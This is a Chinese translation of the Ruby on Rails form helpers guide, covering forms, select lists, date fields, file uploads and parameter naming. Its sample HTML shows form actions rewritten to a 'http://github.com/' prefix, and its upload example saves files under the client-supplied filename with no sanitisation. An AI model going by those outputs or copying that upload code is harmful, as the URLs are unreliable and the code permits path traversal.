+  Form contents
+<% end %>
+
+
+
+

无参数调用 form_tag 方法会创建 <form> 标签,在提交表单时会向当前页面发起 POST 请求。例如,假设当前页面是 /home/index,上面的代码会生成下面的 HTML(为了提高可读性,添加了一些换行):

+
+<form accept-charset="UTF-8" action="http://github.com/" method="post">
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
+  Form contents
+</form>
+
+
+
+

我们注意到,上面的 HTML 的第二行是一个 hidden 类型的 input 元素。这个 input 元素很重要,一旦缺少,表单就不能成功提交。这个 input 元素的 name 属性的值是 utf8,用于说明浏览器处理表单时使用的字符编码方式。对于所有表单,不管表单动作是“GET”还是“POST”,都会生成这个 input 元素。

上面的 HTML 的第三行也是一个 input 元素,元素的 name 属性的值是 authenticity_token。这个 input 元素是 Rails 的一个名为跨站请求伪造保护的安全特性。在启用跨站请求伪造保护的情况下,表单辅助方法会为所有非 GET 表单生成这个 input 元素。关于跨站请求伪造保护的更多介绍,请参阅 跨站请求伪造(CSRF)

1.1 通用搜索表单

搜索表单是网上最常见的基本表单,包含:

+
    +
  • 具有“GET”方法的表单元素
  • +
  • 文本框的 label 标签
  • +
  • 文本框
  • +
  • 提交按钮
  • +
+

我们可以分别使用 form_taglabel_tagtext_field_tagsubmit_tag 标签来创建搜索表单,就像下面这样:

+
+<%= form_tag("/search", method: "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/search" method="get">
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <label for="q">Search for:</label>
+  <input id="q" name="q" type="text" />
+  <input name="commit" type="submit" value="Search" />
+</form>
+
+
+
+

表单中的文本框会根据 name 属性(在上面的例子中值为 q)生成 id 属性。id 属性在应用 CSS 样式或使用 JavaScript 操作表单控件时非常有用。

text_field_tagsubmit_tag 方法之外,每个 HTML 表单控件都有对应的辅助方法。

搜索表单的方法都应该设置为“GET”,这样用户就可以把搜索结果添加为书签。一般来说,Rails 推荐为表单动作使用正确的 HTTP 动词。

1.2 在调用表单辅助方法时使用多个散列

form_tag 辅助方法接受两个参数:提交表单的地址和选项散列。选项散列用于指明提交表单的方法,以及 HTML 选项,例如表单的 class 属性。

link_to 辅助方法一样,提交表单的地址可以是字符串,也可以是散列形式的 URL 参数。Rails 路由能够识别这个散列,将其转换为有效的 URL 地址。尽管如此,由于 form_tag 方法的两个参数都是散列,如果我们想同时指定两个参数,就很容易遇到问题。假如有下面的代码:

+
+form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="http://github.com/people/search?method=get&class=nifty_form" method="post">'
+
+
+
+

在上面的代码中,methodclass 选项的值会被添加到生成的 URL 地址的查询字符串中,不管我们是不是想要使用两个散列作为参数,Rails 都会把这些选项当作一个散列。为了告诉 Rails 我们想要使用两个散列作为参数,我们可以把第一个散列放在大括号中,或者把两个散列都放在大括号中。这样就可以生成我们想要的 HTML 了:

+
+form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="http://github.com/people/search" method="get" class="nifty_form">'
+
+
+
+

1.3 用于生成表单元素的辅助方法

Rails 提供了一系列用于生成表单元素(如复选框、文本字段和单选按钮)的辅助方法。这些名称以 _tag 结尾的基本辅助方法(如 text_field_tagcheck_box_tag)只生成单个 input 元素,并且第一个参数都是 input 元素的 name 属性的值。在提交表单时,name 属性的值会和表单数据一起传递,这样在控制器中就可以通过 params 来获得各个 input 元素的值。例如,如果表单包含 <%= text_field_tag(:query) %>,我们就可以通过 params[:query] 来获得这个文本字段的值。

在给 input 元素命名时,Rails 有一些命名约定,使我们可以提交非标量值(如数组或散列),这些值同样可以通过 params 来获得。关于这些命名约定的更多介绍,请参阅 理解参数命名约定

关于这些辅助方法的用法的详细介绍,请参阅 API 文档

1.3.1 复选框

复选框表单控件为用户提供一组可以启用或禁用的选项:

+
+<%= check_box_tag(:pet_dog) %>
+<%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+<%= label_tag(:pet_cat, "I own a cat") %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+<label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+<label for="pet_cat">I own a cat</label>
+
+
+
+

check_box_tag 辅助方法的第一个参数是生成的 input 元素的 name 属性的值。可选的第二个参数是 input 元素的值,当对应复选框被选中时,这个值会包含在表单数据中,并可以通过 params 来获得。

1.3.2 单选按钮

和复选框类似,单选按钮表单控件为用户提供一组选项,区别在于这些选项是互斥的,用户只能从中选择一个:

+
+<%= radio_button_tag(:age, "child") %>
+<%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+<%= label_tag(:age_adult, "I'm over 21") %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<input id="age_child" name="age" type="radio" value="child" />
+<label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+<label for="age_adult">I'm over 21</label>
+
+
+
+

check_box_tag 一样,radio_button_tag 辅助方法的第二个参数是生成的 input 元素的值。因为两个单选按钮的 name 属性的值相同(都是 age),所以用户只能从中选择一个,params[:age] 的值要么是 "child" 要么是 "adult"

在使用复选框和单选按钮时一定要指定 label 标签。label 标签为对应选项提供说明文字,并扩大可点击区域,使用户更容易选中想要的选项。

1.4 其他你可能感兴趣的辅助方法

其他值得一提的表单控件包括文本区域、密码框、隐藏输入字段、搜索字段、电话号码字段、日期字段、时间字段、颜色字段、本地日期时间字段、月份字段、星期字段、URL 地址字段、电子邮件地址字段、数字字段和范围字段:

+
+<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+<%= search_field(:user, :name) %>
+<%= telephone_field(:user, :phone) %>
+<%= date_field(:user, :born_on) %>
+<%= datetime_local_field(:user, :graduation_day) %>
+<%= month_field(:user, :birthday_month) %>
+<%= week_field(:user, :birthday_week) %>
+<%= url_field(:user, :homepage) %>
+<%= email_field(:user, :address) %>
+<%= color_field(:user, :favorite_color) %>
+<%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+<input id="user_name" name="user[name]" type="search" />
+<input id="user_phone" name="user[phone]" type="tel" />
+<input id="user_born_on" name="user[born_on]" type="date" />
+<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
+<input id="user_birthday_month" name="user[birthday_month]" type="month" />
+<input id="user_birthday_week" name="user[birthday_week]" type="week" />
+<input id="user_homepage" name="user[homepage]" type="url" />
+<input id="user_address" name="user[address]" type="email" />
+<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
+<input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
+
+
+
+

隐藏输入字段不显示给用户,但和其他 input 元素一样可以保存数据。我们可以使用 JavaScript 来修改隐藏输入字段的值。

搜索字段、电话号码字段、日期字段、时间字段、颜色字段、日期时间字段、本地日期时间字段、月份字段、星期字段、URL 地址字段、电子邮件地址字段、数字字段和范围字段都是 HTML5 控件。要想在旧版本浏览器中拥有一致的体验,我们需要使用 HTML5 polyfill(针对 CSS 或 JavaScript 代码)。HTML5 Cross Browser Polyfills 提供了 HTML5 polyfill 的完整列表,目前最流行的工具是 Modernizr,通过检测 HTML5 特性是否存在来添加缺失的功能。

使用密码框时可以配置 Rails 应用,不把密码框的值写入日志,详情参阅 日志

2 处理模型对象

2.1 模型对象辅助方法

表单经常用于修改或创建模型对象。这种情况下当然可以使用 *_tag 辅助方法,但使用起来却有些麻烦,因为我们需要确保每个标记都使用了正确的参数名称并设置了合适的默认值。为此,Rails 提供了量身定制的辅助方法。这些辅助方法的名称不使用 _tag 后缀,例如 text_fieldtext_area

这些辅助方法的第一个参数是实例变量,第二个参数是在这个实例变量对象上调用的方法(通常是模型属性)的名称。 Rails 会把 input 控件的值设置为所调用方法的返回值,并为 input 控件的 name 属性设置合适的值。假设我们在控制器中定义了 @person 实例变量,这个人的名字是 Henry,那么表单中的下述代码:

+
+<%= text_field(:person, :name) %>
+
+
+
+

会生成下面的 HTML:

+
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+
+
+
+

提交表单时,用户输入的值储存在 params[:person][:name] 中。params[:person] 这个散列可以传递给 Person.new 方法作为参数,而如果 @personPerson 模型的实例,这个散列还可以传递给 @person.update 方法作为参数。尽管这些辅助方法的第二个参数通常都是模型属性的名称,但不是必须这样做。在上面的例子中,只要 @person 对象拥有 namename= 方法即可省略第二个参数。

传入的参数必须是实例变量的名称,如 :person"person",而不是模型实例本身。

Rails 还提供了用于显示模型对象数据验证错误的辅助方法,详情参阅 在视图中显示验证错误

2.2 把表单绑定到对象上

上一节介绍的辅助方法使用起来虽然很方便,但远非完美的解决方案。如果 Person 模型有很多属性需要修改,那么实例变量对象的名称就需要重复写很多遍。更好的解决方案是把表单绑定到模型对象上,为此我们可以使用 form_for 辅助方法。

假设有一个用于处理文章的控制器 app/controllers/articles_controller.rb

+
+def new
+  @article = Article.new
+end
+
+
+
+

在对应的 app/views/articles/new.html.erb 视图中,可以像下面这样使用 form_for 辅助方法:

+
+<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, size: "60x12" %>
+  <%= f.submit "Create" %>
+<% end %>
+
+
+
+

这里有几点需要注意:

+
    +
  • 实际需要修改的对象是 @article
  • +
  • form_for 辅助方法的选项是一个散列,其中 :url 键对应的值是路由选项,:html 键对应的值是 HTML 选项,这两个选项本身也是散列。还可以提供 :namespace 选项来确保表单元素具有唯一的 ID 属性,自动生成的 ID 会以 :namespace 选项的值和下划线作为前缀。
  • +
  • form_for 辅助方法会产出一个表单生成器对象,即变量 f
  • +
  • 用于生成表单控件的辅助方法都在表单生成器对象 f 上调用。
  • +
+

上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/articles" method="post" class="nifty_form">
+  <input id="article_title" name="article[title]" type="text" />
+  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+  <input name="commit" type="submit" value="Create" />
+</form>
+
+
+
+

form_for 辅助方法的第一个参数决定了 params 使用哪个键来访问表单数据。在上面的例子中,这个参数为 @article,因此所有 input 控件的 name 属性都是 article[attribute_name] 这种形式,而在 create 动作中 params[:article] 是一个拥有 :title:body 键的散列。关于 input 控件 name 属性重要性的更多介绍,请参阅 理解参数命名约定

在表单生成器上调用的辅助方法和模型对象辅助方法几乎完全相同,区别在于前者无需指定需要修改的对象,因为表单生成器已经指定了需要修改的对象。

使用 fields_for 辅助方法也可以把表单绑定到对象上,但不会创建 <form> 标签。需要在同一个表单中修改多个模型对象时可以使用 fields_for 方法。例如,假设 Person 模型和 ContactDetail 模型关联,我们可以在下面这个表单中同时创建这两个模型的对象:

+
+<%= form_for @person, url: {action: "create"} do |person_form| %>
+  <%= person_form.text_field :name %>
+  <%= fields_for @person.contact_detail do |contact_detail_form| %>
+    <%= contact_detail_form.text_field :phone_number %>
+  <% end %>
+<% end %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+</form>
+
+
+
+

form_for 辅助方法一样, fields_for 方法产出的对象是一个表单生成器(实际上 form_for 方法在内部调用了 fields_for 方法)。

2.3 使用记录识别技术

Article 模型对我们来说是直接可用的,因此根据 Rails 开发的最佳实践,我们应该把这个模型声明为资源:

+
+resources :articles
+
+
+
+

资源的声明有许多副作用。关于设置和使用资源的更多介绍,请参阅 资源路由:Rails 的默认风格

在处理 REST 架构的资源时,使用记录识别技术可以大大简化 form_for 辅助方法的调用。简而言之,使用记录识别技术后,我们只需把模型实例传递给 form_for 方法作为参数,Rails 会找出模型名称和其他信息:

+
+## 创建一篇新文章
+# 冗长风格:
+form_for(@article, url: articles_path)
+# 简短风格,效果一样(用到了记录识别技术):
+form_for(@article)
+
+## 编辑一篇现有文章
+# 冗长风格:
+form_for(@article, url: article_path(@article), html: {method: "patch"})
+# 简短风格:
+form_for(@article)
+
+
+
+

注意,不管是新建记录还是修改已有记录,form_for 方法调用的短格式都是相同的,很方便。记录识别技术很智能,能够通过调用 record.new_record? 方法来判断记录是否为新记录,同时还能选择正确的提交地址,并根据对象的类设置 name 属性的值。

Rails 还会自动为表单的 classid 属性设置合适的值,例如,用于创建文章的表单,其 idclass 属性的值都会被设置为 new_article。用于修改 ID 为 23 的文章的表单,其 class 属性会被设置为 edit_article,其 id 属性会被设置为 edit_article_23。为了行文简洁,后文会省略这些属性。

在模型中使用单表继承(single-table inheritance,STI)时,如果只有父类声明为资源,在子类上就不能使用记录识别技术。这时,必须显式说明模型名称、:url:method

2.3.1 处理命名空间

如果在路由中使用了命名空间,我们同样可以使用 form_for 方法调用的短格式。例如,假设有 admin 命名空间,那么 form_for 方法调用的短格式可以写成:

+
+form_for [:admin, @article]
+
+
+
+

上面的代码会创建提交到 admin 命名空间中 ArticlesController 控制器的表单(在更新文章时会提交到 admin_article_path(@article) 这个地址)。对于多层命名空间的情况,语法也类似:

+
+form_for [:admin, :management, @article]
+
+
+
+

关于 Rails 路由及其相关约定的更多介绍,请参阅Rails 路由全解

2.4 表单如何处理 PATCH、PUT 或 DELETE 请求方法?

Rails 框架鼓励应用使用 REST 架构的设计,这意味着除了 GET 和 POST 请求,应用还要处理许多 PATCH 和 DELETE 请求。不过,大多数浏览器只支持表单的 GET 和 POST 方法,而不支持其他方法。

为了解决这个问题,Rails 使用 name 属性的值为 _method 的隐藏的 input 标签和 POST 方法来模拟其他方法,从而实现相同的效果:

+
+form_tag(search_path, method: "patch")
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/search" method="post">
+  <input name="_method" type="hidden" value="patch" />
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  ...
+</form>
+
+
+
+

在处理提交的数据时,Rails 会考虑 _method 这个特殊参数的值,并按照指定的 HTTP 方法处理请求(在本例中为 PATCH)。

3 快速创建选择列表

选择列表由大量 HTML 标签组成(需要为每个选项分别创建 option 标签),因此最适合动态生成。

下面是选择列表的一个例子:

+
+<select name="city_id" id="city_id">
+  <option value="1">Lisbon</option>
+  <option value="2">Madrid</option>
+  ...
+  <option value="12">Berlin</option>
+</select>
+
+
+
+

这个选择列表显示了一组城市的列表,用户看到的是城市的名称,应用处理的是城市的 ID。每个 option 标签的 value 属性的值就是城市的 ID。下面我们会看到 Rails 为生成选择列表提供了哪些辅助方法。

3.1 selectoption 标签

最通用的辅助方法是 select_tag,故名思义,这个辅助方法用于生成 select 标签,并在这个 select 标签中封装选项字符串:

+
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+
+
+
+

使用 select_tag 辅助方法只是第一步,仅靠它我们还无法动态生成 option 标签。接下来,我们可以使用 options_for_select 辅助方法生成 option 标签:

+
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+
+
+

输出:

+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+
+
+
+

options_for_select 辅助方法的第一个参数是嵌套数组,其中每个子数组都有两个元素:选项文本(城市名称)和选项值(城市 ID)。选项值会提交给控制器。选项值通常是对应的数据库对象的 ID,但并不一定是这样。

掌握了上述知识,我们就可以联合使用 select_tagoptions_for_select 辅助方法来动态生成选择列表了:

+
+<%= select_tag(:city_id, options_for_select(...)) %>
+
+
+
+

options_for_select 辅助方法允许我们传递第二个参数来设置默认选项:

+
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+
+
+

输出:

+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+
+
+
+

当 Rails 发现生成的选项值和第二个参数指定的值一样时,就会为这个选项添加 selected 属性。

如果 select 标签的 required 属性的值为 truesize 属性的值为 1,multiple 属性未设置为 true,并且未设置 :include_blank:prompt 选项时,:include_blank 选项的值会被强制设置为 true

我们可以通过散列为选项添加任意属性:

+
+<%= options_for_select(
+  [
+    ['Lisbon', 1, { 'data-size' => '2.8 million' }],
+    ['Madrid', 2, { 'data-size' => '3.2 million' }]
+  ], 2
+) %>
+
+
+
+

输出:

+
+<option value="1" data-size="2.8 million">Lisbon</option>
+<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
+...
+
+
+
+

3.2 用于处理模型的选择列表

在大多数情况下,表单控件会绑定到特定的数据库模型,和我们期望的一样,Rails 为此提供了辅助方法。与其他表单辅助方法一致,在处理模型时,需要从 select_tag 中删除 _tag 后缀:

+
+# controller:
+@person = Person.new(city_id: 2)
+
+
+
+
+
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+
+
+

需要注意的是,select 辅助方法的第三个参数,即选项数组,和传递给 options_for_select 辅助方法作为参数的选项数组是一样的。如果用户已经设置了默认城市,Rails 会从 @person.city_id 属性中读取这一设置,一切都是自动的,十分方便。

和其他辅助方法一样,如果要在绑定到 @person 对象的表单生成器上使用 select 辅助方法,相关句法如下:

+
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+
+
+
+

我们还可以把块传递给 select 辅助方法:

+
+<%= f.select(:city_id) do %>
+  <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
+    <%= content_tag(:option, c.first, value: c.last) %>
+  <% end %>
+<% end %>
+
+
+
+

如果我们使用 select 辅助方法(或类似的辅助方法,如 collection_selectselect_tag)来设置 belongs_to 关联,就必须传入外键的名称(在上面的例子中是 city_id),而不是关联的名称。在上面的例子中,如果传入的是 city 而不是 city_id,在把 params 传递给 Person.newupdate 方法时,Active Record 会抛出 ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) 错误。换一个角度看,这说明表单辅助方法只能修改模型属性。我们还应该注意到允许用户直接修改外键的潜在安全后果。

3.3 从任意对象组成的集合创建 option 标签

使用 options_for_select 辅助方法生成 option 标签需要创建包含各个选项的文本和值的数组。但如果我们已经拥有 City 模型(可能是 Active Record 模型),并且想要从这些对象的集合生成 option 标签,那么应该怎么做呢?一个解决方案是创建并遍历嵌套数组:

+
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+
+
+
+

这是一个完全有效的解决方案,但 Rails 提供了一个更简洁的替代方案:options_from_collection_for_select 辅助方法。这个辅助方法接受一个任意对象组成的集合作为参数,以及两个附加参数,分别用于读取选项值和选项文本的方法的名称:

+
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+
+
+
+

顾名思义,options_from_collection_for_select 辅助方法只生成 option 标签。和 options_for_select 辅助方法一样,要想生成可用的选择列表,我们需要联合使用 options_from_collection_for_selectselect_tag 辅助方法。在处理模型对象时,select 辅助方法联合使用了 select_tagoptions_for_select 辅助方法,同样,collection_select 辅助方法联合使用了 select_tagoptions_from_collection_for_select 辅助方法。

+
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+
+
+
+

和其他辅助方法一样,如果要在绑定到 @person 对象的表单生成器上使用 collection_select 辅助方法,相关句法如下:

+
+<%= f.collection_select(:city_id, City.all, :id, :name) %>
+
+
+
+

总结一下,options_from_collection_for_select 对于 collection_select 辅助方法,就如同 options_for_select 对于 select 辅助方法。

传递给 options_for_select 辅助方法作为参数的嵌套数组,子数组的第一个元素是选项文本,第二个元素是选项值,然而传递给 options_from_collection_for_select 辅助方法作为参数的嵌套数组,子数组的第一个元素是读取选项值的方法的名称,第二个元素是读取选项文本的方法的名称。

3.4 时区和国家选择列表

要想利用 Rails 提供的时区相关功能,首先需要设置用户所在的时区。为此,我们可以使用 collection_select 辅助方法从预定义时区对象生成选择列表,我们也可以使用更简单的 time_zone_select 辅助方法:

+
+<%= time_zone_select(:person, :time_zone) %>
+
+
+
+

Rails 还提供了 time_zone_options_for_select 辅助方法用于手动生成定制的时区选择列表。关于 time_zone_selecttime_zone_options_for_select 辅助方法的更多介绍,请参阅 API 文档

Rails 的早期版本提供了用于生成国家选择列表的 country_select 辅助方法,现在这一功能被放入独立的 country_select 插件。需要注意的是,在使用这个插件生成国家选择列表时,一些特定地区是否应该被当作国家还存在争议,这也是 Rails 不再内置这一功能的原因。

4 使用日期和时间的表单辅助方法

我们可以选择不使用生成 HTML5 日期和时间输入字段的表单辅助方法,而使用替代的日期和时间辅助方法。这些日期和时间辅助方法与所有其他表单辅助方法主要有两点不同:

+
    +
  • 日期和时间不是在单个 input 元素中输入,而是每个时间单位(年、月、日等)都有各自的 input 元素。因此在 params 散列中没有表示日期和时间的单个值。
  • +
  • 其他表单辅助方法使用 _tag 后缀区分独立的辅助方法和处理模型对象的辅助方法。对于日期和时间辅助方法,select_dateselect_timeselect_datetime 是独立的辅助方法,date_selecttime_selectdatetime_select 是对应的处理模型对象的辅助方法。
  • +
+

这两类辅助方法都会为每个时间单位(年、月、日等)生成各自的选择列表。

4.1 独立的辅助方法

select_* 这类辅助方法的第一个参数是 DateTimeDateTime 类的实例,用于指明选中的日期时间。如果省略这个参数,选中当前的日期时间。例如:

+
+<%= select_date Date.today, prefix: :start_date %>
+
+
+
+

上面的代码会生成下面的 HTML(为了行文简洁,省略了实际选项值):

+
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+
+
+
+

上面的代码会使 params[:start_date] 成为拥有 :year:month:day 键的散列。要想得到实际的 DateTimeDateTime 对象,我们需要提取 params[:start_date] 中的信息并传递给适当的构造方法,例如:

+
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+
+
+
+

:prefix 选项用于说明从 params 散列中取回时间信息的键名。这个选项的默认值是 date,在上面的例子中被设置为 start_date

4.2 处理模型对象的辅助方法

在更新或创建 Active Record 对象的表单中,select_date 辅助方法不能很好地工作,因为 Active Record 期望 params 散列的每个元素都对应一个模型属性。处理模型对象的日期和时间辅助方法使用特殊名称提交参数,Active Record 一看到这些参数就知道必须把这些参数和其他参数一起传递给对应字段类型的构造方法。例如:

+
+<%= date_select :person, :birth_date %>
+
+
+
+

上面的代码会生成下面的 HTML(为了行文简洁,省略了实际选项值):

+
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+
+
+
+

上面的代码会生成下面的 params 散列:

+
+{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+
+
+
+

当把这个 params 散列传递给 Person.newupdate 方法时,Active Record 会发现应该把这些参数都用于构造 birth_date 属性,并且会使用附加信息来确定把这些参数传递给构造方法(如 Date.civil 方法)的顺序。

4.3 通用选项

这两类辅助方法使用一组相同的核心函数来生成选择列表,因此使用的选项也大体相同。特别是默认情况下,Rails 生成的年份选项会包含当前年份的前后 5 年。如果这个范围不能满足使用需求,可以使用 :start_year:end_year 选项覆盖这一默认设置。关于这两类辅助方法的可用选项的更多介绍,请参阅 API 文档

根据经验,在处理模型对象时应该使用 date_select 辅助方法,在其他情况下应该使用 select_date 辅助方法。例如在根据日期过滤搜索结果时就应该使用 select_date 辅助方法。

在许多情况下,内置的日期选择器显得笨手笨脚,不能帮助用户正确计算出日期和星期几之间的关系。

4.4 独立组件

偶尔我们需要显示单个日期组件,例如年份或月份。为此,Rails 提供了一系列辅助方法,每个时间单位对应一个辅助方法,即 select_yearselect_monthselect_dayselect_hourselect_minuteselect_second 辅助方法。这些辅助方法的用法非常简单。默认情况下,它们会生成以时间单位命名的输入字段(例如,select_year 辅助方法生成名为“year”的输入字段,select_month 辅助方法生成名为“month”的输入字段),我们可以使用 :field_name 选项指定输入字段的名称。:prefix 选项的用法和在 select_dateselect_time 辅助方法中一样,默认值也一样。

这些辅助方法的第一个参数可以是 DateTimeDateTime 类的实例(会从实例中取出对应的值)或数值,用于指明选中的日期时间。例如:

+
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+
+
+
+

如果当前年份是 2009 年,上面的代码会成生相同的 HTML。用户选择的年份可以通过 params[:date][:year] 取回。

5 上传文件

上传某种类型的文件是常见任务,例如上传某人的照片或包含待处理数据的 CSV 文件。在上传文件时特别需要注意的是,表单的编码必须设置为 multipart/form-data。使用 form_for 辅助方法时会自动完成这一设置。如果使用 form_tag 辅助方法,就必须手动完成这一设置,具体操作可以参考下面的例子。

下面这两个表单都用于上传文件。

+
+<%= form_tag({action: :upload}, multipart: true) do %>
+  <%= file_field_tag 'picture' %>
+<% end %>
+
+<%= form_for @person do |f| %>
+  <%= f.file_field :picture %>
+<% end %>
+
+
+
+

Rails 同样为上传文件提供了一对辅助方法:独立的辅助方法 file_field_tag 和处理模型的辅助方法 file_field。这两个辅助方法和其他辅助方法的唯一区别是,我们无法为文件上传控件设置默认值,因为这样做没有意义。和我们期望的一样,在上述例子的第一个表单中上传的文件通过 params[:picture] 取回,在第二个表单中通过 params[:person][:picture] 取回。

5.1 上传的内容

在上传文件时,params 散列中保存的文件对象实际上是 IO 类的子类的实例。根据上传文件大小的不同,这个实例有可能是 StringIO 类的实例,也可能是临时文件的 File 类的实例。在这两种情况下,文件对象具有 original_filename 属性,其值为上传的文件在用户计算机上的文件名,也具有 content_type 属性,其值为上传的文件的 MIME 类型。下面这段代码把上传的文件保存在 #{Rails.root}/public/uploads 文件夹中,文件名不变(假设使用上一节例子中的表单来上传文件)。

+
+def upload
+  uploaded_io = params[:person][:picture]
+  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
+    file.write(uploaded_io.read)
+  end
+end
+
+
+
+

一旦文件上传完毕,就可以执行很多后续操作,例如把文件储存到磁盘、Amazon S3 等位置并和模型关联起来,缩放图片并生成缩略图等。这些复杂的操作已经超出本文的范畴,不过有一些 Ruby 库可以帮助我们完成这些操作,其中两个众所周知的是 CarrierWavePaperclip

如果用户没有选择要上传的文件,对应参数会是空字符串。

5.2 处理 Ajax

和其他表单不同,异步上传文件的表单可不是为 form_for 辅助方法设置 remote: true 选项这么简单。在这个 Ajax 表单中,上传文件的序列化是通过浏览器端的 JavaScript 完成的,而 JavaScript 无法读取硬盘上的文件,因此文件无法上传。最常见的解决方案是使用不可见的 iframe 作为表单提交的目标。

6 定制表单生成器

前面说过,form_forfields_for 辅助方法产出的对象是 FormBuilder 类或其子类的实例,即表单生成器。表单生成器为单个对象封装了显示表单所需的功能。我们可以用常规的方式使用表单辅助方法,也可以继承 FormBuilder 类并添加其他辅助方法。例如:

+
+<%= form_for @person do |f| %>
+  <%= text_field_with_label f, :first_name %>
+<% end %>
+
+
+
+

可以写成:

+
+<%= form_for @person, builder: LabellingFormBuilder do |f| %>
+  <%= f.text_field :first_name %>
+<% end %>
+
+
+
+

在使用前需要定义 LabellingFormBuilder 类:

+
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  def text_field(attribute, options={})
+    label(attribute) + super
+  end
+end
+
+
+
+

如果经常这样使用,我们可以定义 labeled_form_for 辅助方法,自动应用 builder: LabellingFormBuilder 选项。

+
+def labeled_form_for(record, options = {}, &block)
+  options.merge! builder: LabellingFormBuilder
+  form_for record, options, &block
+end
+
+
+
+

表单生成器还会确定进行下面的渲染时应该执行的操作:

+
+<%= render partial: f %>
+
+
+
+

如果表单生成器 fFormBuilder 类的实例,那么上面的代码会渲染局部视图 form,并把传入局部视图的对象设置为表单生成器。如果表单生成器 fLabellingFormBuilder 类的实例,那么上面的代码会渲染局部视图 labelling_form

7 理解参数命名约定

从前面几节我们可以看到,表单提交的数据可以保存在 params 散列或嵌套的子散列中。例如,在 Person 模型的标准 create 动作中,params[:person] 通常是储存了创建 Person 实例所需的所有属性的散列。params 散列也可以包含数组、散列构成的数组等等。

从根本上说,HTML 表单并不理解任何类型的结构化数据,表单提交的数据都是普通字符串组成的键值对。我们在应用中看到的数组和散列都是 Rails 根据参数命名约定生成的。

7.1 基本结构

数组和散列是两种基本数据结构。散列句法用于访问 params 中的值。例如,如果表单包含:

+
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+
+
+
+

params 散列会包含:

+
+{'person' => {'name' => 'Henry'}}
+
+
+
+

在控制器中可以使用 params[:person][:name] 取回表单提交的值。

散列可以根据需要嵌套,不限制层级,例如:

+
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+
+
+
+

params 散列会包含:

+
+{'person' => {'address' => {'city' => 'New York'}}}
+
+
+
+

通常 Rails 会忽略重复的参数名。如果参数名包含一组空的方括号 [],Rails 就会用这些参数的值生成一个数组。例如,要想让用户输入多个电话号码,我们可以在表单中添加:

+
